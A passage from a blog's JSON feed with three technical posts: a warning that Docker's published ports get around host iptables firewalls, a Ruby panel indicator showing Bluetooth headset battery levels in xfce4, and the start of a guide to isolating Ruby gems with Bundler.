role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003e0.0.0.0\u003c/code\u003e prefix is the \u003ca href=\"https://docs.docker.com/network/iptables/#setting-the-default-bind-address-for-containers\" rel=\"noreferrer nofollow noopener\"\u003ebind address\u003c/a\u003e, i.e., \u003cem\u003eall addresses on all interfaces\u003c/em\u003e. In other words, you are completely exposed.\u003c/p\u003e\n\u003ch2 id=\"but-im-firewalled\"\u003eBut I'm firewalled...\u003c/h2\u003e\u003cp\u003eYou might be thinking this is an acceptable and common default, because even if the container is only intended to be accessed locally, the system in question is firewalled with iptables or an iptables-based firewall like ufw.\u003c/p\u003e\n\u003cp\u003eIt would be reasonable to think so, but this is where Docker knows better: it has configured iptables to give itself priority over all your other rules, and it will allow external incoming connections anyway.\u003c/p\u003e\n\u003cp\u003eIn fairness \u003ca href=\"https://docs.docker.com/network/iptables/#add-iptables-policies-before-dockers-rules\" rel=\"noreferrer nofollow noopener\"\u003ethe documentation\u003c/a\u003e does state this clearly, but most people don't read documentation unless they have to.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eDocker installs two custom iptables chains named DOCKER-USER and DOCKER, and it ensures that incoming packets are always checked by these two chains first.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"docker-compose-is-affected-too\"\u003edocker-compose is affected, too\u003c/h2\u003e\u003cp\u003e\u003ca href=\"https://docs.docker.com/compose\" rel=\"noreferrer nofollow noopener\"\u003edocker-compose\u003c/a\u003e is used to declaratively run containers with a specific parameters, like exposed ports and volume paths. Rather than passing these values as arguments to the \u003ccode\u003edocker\u003c/code\u003e command they can be \u003ca href=\"https://docs.docker.com/compose/compose-file\" rel=\"noreferrer nofollow noopener\"\u003eencoded as \u003cabbr title=\"YAML Ain't Markup Language\"\u003eYAML\u003c/abbr\u003e in \u003ccode\u003ecompose.yml\u003c/code\u003e\u003c/a\u003e and then started using the simple command \u003ccode\u003edocker-compose up\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThis minimal \u003ccode\u003ecompose.yml\u003c/code\u003e is functionally equivalent to the \u003ccode\u003edocker run\u003c/code\u003e line above.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003eversion\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;3\u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003eservices\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"nt\"\u003eapp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003eimage\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l\"\u003enginx\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003eports\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e- \u003cspan class=\"m\"\u003e8080\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"m\"\u003e80\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eBecause \u003ccode\u003edocker-compose\u003c/code\u003e is just calling the underlying Docker engine the result would be exactly the same here too.\u003c/p\u003e\n\u003ch2 id=\"get-yourself-out-of-a-bind\"\u003eGet yourself out of a bind\u003c/h2\u003e\u003cp\u003eThe simplest solution is to make it a habit to \u003cem\u003ealways\u003c/em\u003e specify the bind address (e.g., \u003ccode\u003e127.0.0.1\u003c/code\u003e) and never leave a port definition bare. This is a good habit to get into even when the intended address is \u003ccode\u003e0.0.0.0\u003c/code\u003e as it forces you to think about what you actually want.\u003c/p\u003e\n\u003cp\u003eA more robust general-purpose solution that entirely avoids this class of problem is to not use a local firewall at all. Use a hardware firewall or the one available from most cloud providers.\u003c/p\u003e\n\u003cp\u003eThe lesson here is check your assumptions and always try to hack yourself first. Running regular port scans on your own infrastructure can be an invaluable tool to help you find unintentionally exposed services before someone else does.\u003c/p\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eThis isn't 100% equivalent. A lack of bind address will default to \u003cabbr title=\"Internet Protocol version 4\"\u003eIPv4\u003c/abbr\u003e \u003cem\u003eand\u003c/em\u003e \u003cabbr title=\"Internet Protocol version 6\"\u003eIPv6\u003c/abbr\u003e if available, but using \u003ccode\u003e0.0.0.0\u003c/code\u003e limits it to IPv4.\u0026#160;\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n",
      "date_published": "2022-10-19T00:00:00Z"
    },
    {
      "id": "VAyP69ZoqQYGrKg0o8qM9g",
      "url": "https://textplain.org/bluetooth-battery",
      "title": "a bluetooth battery indicator for xfce4",
      "content_html": "\u003cp\u003eRecently-released PulseAudio 16 added support for Bluetooth battery level reporting. If you're now checking what year this post was published, I don't blame you. Still, better late than never. Using desktop Linux is like drip-feeding yourself lottery winnings: you don't want to peak too soon and get everything at once.\u003c/p\u003e\n\u003cp\u003eUntil desktop environment indicators gain the ability to display the battery level, the only way to view it is via the command line. For example, with \u003ccode\u003epactl\u003c/code\u003e.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ pactl list cards \u003cspan class=\"p\"\u003e|\u003c/span\u003e grep -F bluetooth.battery\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ebluetooth.battery \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;80%\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eDue to impatience and a general unwillingness to wait for slow-moving desktop environments to catch up, we're going to do it ourselves using a simple \u003ca href=\"https://docs.xfce.org/panel-plugins/xfce4-genmon-plugin/start\" rel=\"noreferrer nofollow noopener\"\u003exfce4-genmon\u003c/a\u003e applet.\u003c/p\u003e\n\u003cp\u003eAn xfce4-genmon applet works like so: on an interval run a binary and display its output (text) in the panel. The output format of the binary should conform to \u003cabbr title=\"Extensible Markup Language\"\u003eXML\u003c/abbr\u003e, and it can also contain tags for text that should appear on hover, or a command to be executed on click. The \u003ca href=\"https://docs.xfce.org/panel-plugins/xfce4-genmon-plugin/start\" rel=\"noreferrer nofollow noopener\"\u003edocumentation\u003c/a\u003e is short and sweet.\u003c/p\u003e\n\u003cp\u003eWhen creating a panel indicator an important consideration is how often it should refresh. This depends on the kind of information shown, how stale it can become before it's no longer useful, and how expensive it is to run (and consequently, which language it's written in).\u003c/p\u003e\n\u003cp\u003eFor this we'll be using one of the slowest languages available, Ruby, because it's convenient and performance is not the most important factor here. Startup time for a Ruby script is approaching sub 40ms and this only needs to run once every 10 seconds to be useful. Battery levels don't update that often, so an even longer interval may be acceptable too.\u003c/p\u003e\n\u003cp\u003eOne of the other new features in PulseAudio 16.0 is \u003ccode\u003e-f json\u003c/code\u003e to tell \u003ccode\u003epactl\u003c/code\u003e to dump \u003cabbr title=\"JavaScript Object Notation\"\u003eJSON\u003c/abbr\u003e. Since we will need to parse its output the timing of this addition is much appreciated.\u003c/p\u003e\n\u003cp\u003eBut which device do we pick? The lazy option is to choose the first Bluetooth device. It's not too common to have multiple Bluetooth audio devices connected at once, so this should suffice.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003eget_level\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"no\"\u003eJSON\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`pactl -f json list cards`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emap\u003c/span\u003e \u003cspan class=\"k\"\u003edo\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003edevice\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003edevice\u003c/span\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;properties\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e][\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;bluetooth.battery\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eend\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecompact\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eAny devices without a Bluetooth battery level will map to \u003ccode\u003enil\u003c/code\u003e which is then removed by \u003ccode\u003ecompact\u003c/code\u003e. The \u003ccode\u003efirst\u003c/code\u003e of the battery levels is then returned.\u003c/p\u003e\n\u003cp\u003eTo add a bit of colour, we can also define a function that picks an appropriate one based on how much battery is left.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003ecolour_of\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003elevel\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e20\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"s1\"\u003e\u0026#39;#f25238\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eelsif\u003c/span\u003e \u003cspan class=\"n\"\u003elevel\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e60\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"s1\"\u003e\u0026#39;#cfad00\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"s1\"\u003e\u0026#39;#66b602\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThat's reddish for \u0026lt;20%, orange for \u0026lt;60%, otherwise green.\u003c/p\u003e\n\u003cp\u003eWe'll also need a function to render the battery level in the chosen colour to standard output as XML.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecolour\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003estr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003elevel\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003elevel\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003estr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026lt;span fgcolor=\u0026#34;%s\u0026#34;\u0026gt;%s\u0026lt;/span\u0026gt;\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ecolour\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"o\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s1\"\u003e\u0026#39;\u0026lt;tool\u0026gt;\u0026lt;/tool\u0026gt;\u0026lt;txt\u0026gt;%s\u0026lt;/txt\u0026gt;\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"n\"\u003estr\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe empty \u003ccode\u003e\u0026lt;tool\u0026gt;\u0026lt;/tool\u0026gt;\u003c/code\u003e declaration is there to prevent a default (unnecessary) tooltip appearing on hover.\u003c/p\u003e\n\u003cp\u003eFinally, the lines of glue that hold it all together.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eget_level\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eputs\u003c/span\u003e \u003cspan class=\"n\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecolour_of\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eto_i\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eCombine all these parts and save it as an executable script with a name of your choice, then call it from an xfce4-genmon applet.\u003c/p\u003e\n\u003c!-- Unless you don't use Bluetooth, or don't use xfce4, in which case why are you still reading? --\u003e\n\u003cp\u003eHopefully PulseAudio-consuming software will soon catch up and show battery levels in a more integrated way, but with the slow development pace of xfce4 it's better not to count on it. Until then, this solution will do.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eUpdate\u003c/strong\u003e: Since switching to Pipewire the Bluetooth battery level is no longer available via \u003ccode\u003epactl\u003c/code\u003e. Pipewire registers the Bluetooth device as a power source which means it can be interrogated using \u003ccode\u003eupower\u003c/code\u003e instead, and most desktop environments already have a power widget that enumerates power sources and shows battery levels. This means a panel indicator may not be necessary, depending on one's needs.\u003c/p\u003e\n\u003cp\u003eUsing xfce4-power-manager the battery level is available but sits behind a mouse click which is not \u0026quot;at-a-glance\u0026quot; enough for my tastes, so I've kept the panel indicator but tweaked it to read the battery level via \u003ccode\u003eupower\u003c/code\u003e if available, otherwise falling back to \u003ccode\u003epactl\u003c/code\u003e.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003edevice\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sr\"\u003e%r[/org/freedesktop/UPower/devices/headset_dev_.*]\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`upower -e`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003edevice\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003einfo\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sb\"\u003e`upower -i \u003c/span\u003e\u003cspan class=\"si\"\u003e#{\u003c/span\u003e\u003cspan class=\"no\"\u003eShellwords\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eescape\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edevice\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e`\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"sr\"\u003e/percentage:\\s*(\\d+)%/\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einfo\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e# original code to read from pactl\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e",
      "date_published": "2022-08-21T00:00:00Z"
    },
    {
      "id": "PajtiHPTuCoJ5FMOvKva5Q",
      "url": "https://textplain.org/isolated-ruby",
      "title": "isolated ruby environments",
      "content_html": "\u003cp\u003eRuby's package manager defaults to installing packages globally, which can be convenient when starting out or writing quick scripts. Just install a gem with \u003ccode\u003egem install\u003c/code\u003e, \u003ccode\u003erequire\u003c/code\u003e it, and then give no more thought to it.\u003c/p\u003e\n\u003cp\u003eAn unfortunate drawback to this is that without locking down your dependencies to known good versions, you simply can't reproduce the state of your code and make any guarantees that it will work in future.\u003c/p\u003e\n\u003cp\u003eIn a perfect world this wouldn't matter as every new release would be bug-free and fully backwards-compatible, but in the real world that's not how it works. People make mistakes. By pinning the versions of your dependencies you can guarantee any unexpected side effects from dependency upgrades will not happen outside your control.\u003c/p\u003e\n\u003cp\u003eIn this post you will learn how to create a Ruby script with locked-down dependencies that can be run from anywhere on the system, independent of its working directory.\u003c/p\u003e\n\u003ch2 id=\"gemfile\"\u003eGemfile\u003c/h2\u003e\u003cp\u003ePinning versions for your Ruby projects starts with the Gemfile, a file that defines the specific versions of gems required. It's actually just a regular Ruby script executed in a specific context with some helper methods available.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esource\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;https://rubygems.org\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003egem\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;colorize\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e    \u003cspan class=\"s1\"\u003e\u0026#39;~\u0026gt; 0.8.1\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003egem\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;require_all\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;~\u0026gt; 2.0\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003ccode\u003e~\u0026gt;\u003c/code\u003e means \u0026quot;more than or greater than\u0026quot; applied only to the last digit, so \u003ccode\u003ecolorize\u003c/code\u003e is pinned at \u003ccode\u003e\u0026gt;=0.8.1 \u0026lt;0.9.0\u003c/code\u003e but \u003ccode\u003erequire_all\u003c/code\u003e is pinned at \u003ccode\u003e\u0026gt;=2.0 \u0026lt;3.0\u003c/code\u003e. Note that the longhand syntax is valid too.\u003c/p\u003e\n\u003cp\u003eOnce you define your gem versions, the tool to manage them is not \u003ccode\u003egem\u003c/code\u003e like you might expect, but actually \u003ccode\u003ebundler\u003c/code\u003e, a gem itself, and perhaps one of the few gems that is appropriate to have installed globally.\u003c/p\u003e\n\u003ch2 id=\"bundler\"\u003eBundler\u003c/h2\u003e\u003cp\u003eFrom the \u003ca href=\"https://bundler.io\" rel=\"noreferrer nofollow noopener\"\u003eBundler\u003c/a\u003e website:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eBundler provides a consistent environment for Ruby projects by tracking and installing the exact gems and versions that are needed.\u003c/p\u003e\n\u003cp\u003eBundler is an exit from dependency hell, and ensures that the gems you need are present in development, staging, and production. Starting work on a project is as simple as \u003ccode\u003ebundle install\u003c/code\u003e.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eBundler differs from other ecosystems where packages are installed and isolated away in some local directory, as \u003ccode\u003ebundle install\u003c/code\u003e will by default install all the gems globally. As an unwanted bonus, if any of those gems provide binaries, they will now all be available in your \u003ccode\u003ePATH\u003c/code\u003e. No one likes having someone else's project's dependencies pointlessly clobbering their \u003ccode\u003ePATH\u003c/code\u003e. It's just not cool.\u003c/p\u003e\n\u003cp\u003eInstall Bundler globally, if it's not already installed.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egem install bundler\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"start-a-new-project\"\u003eStart a new project\u003c/h2\u003e\u003cp\u003eIn short, the way to achieve total gem isolation is by telling bundler to store them in \u003ccode\u003evendor/\u003c/code\u003e. This is similar to how other ecosystems do it so it may be familiar to you if you've ever seen a \u003ccode\u003enode_modules/\u003c/code\u003e directory with npm or \u003ccode\u003evendor/\u003c/code\u003e with composer.\u003c/p\u003e\n\u003cp\u003eThere's no need to write out a Gemfile manually, as \u003ccode\u003ebundle\u003c/code\u003e will do most of the work.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003emkdir ~/greeter \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nb\"\u003ecd\u003c/span\u003e ~/greeter \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e git init\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ebundle init\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eRun \u003ccode\u003ebundle install\u003c/code\u003e with \u003ccode\u003e--path\u003c/code\u003e now, to ensure that all future installs will automatically use the correct \u003ccode\u003evendor/\u003c/code\u003e directory without manually entering it.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ebundle install --path vendor\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThis is crucial to the whole process. If \u003ccode\u003e--path\u003c/code\u003e is omitted at this point then the project will be forever doomed to storing its gems globally.\u003c/p\u003e\n\u003cp\u003eInstall some gems.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ebundle add colorize\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ebundle add require_all\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eAfterwards, you may notice there's a new file called \u003ccode\u003eGemfile.lock\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThis is a very important file that specifies the \u003cem\u003eactual\u003c/em\u003e installed versions: the version of each dependency that your project is currently locked at. This gives you the guarantee that future \u003ccode\u003ebundle install\u003c/code\u003es will install the exact same version of each gem that the project was tested and known to work with, and it's up to the project maintainer to upgrade the gems when appropriate (\u003ccode\u003ebundle outdated\u003c/code\u003e helps with that).\u003c/p\u003e\n\u003cp\u003eThe files to commit are 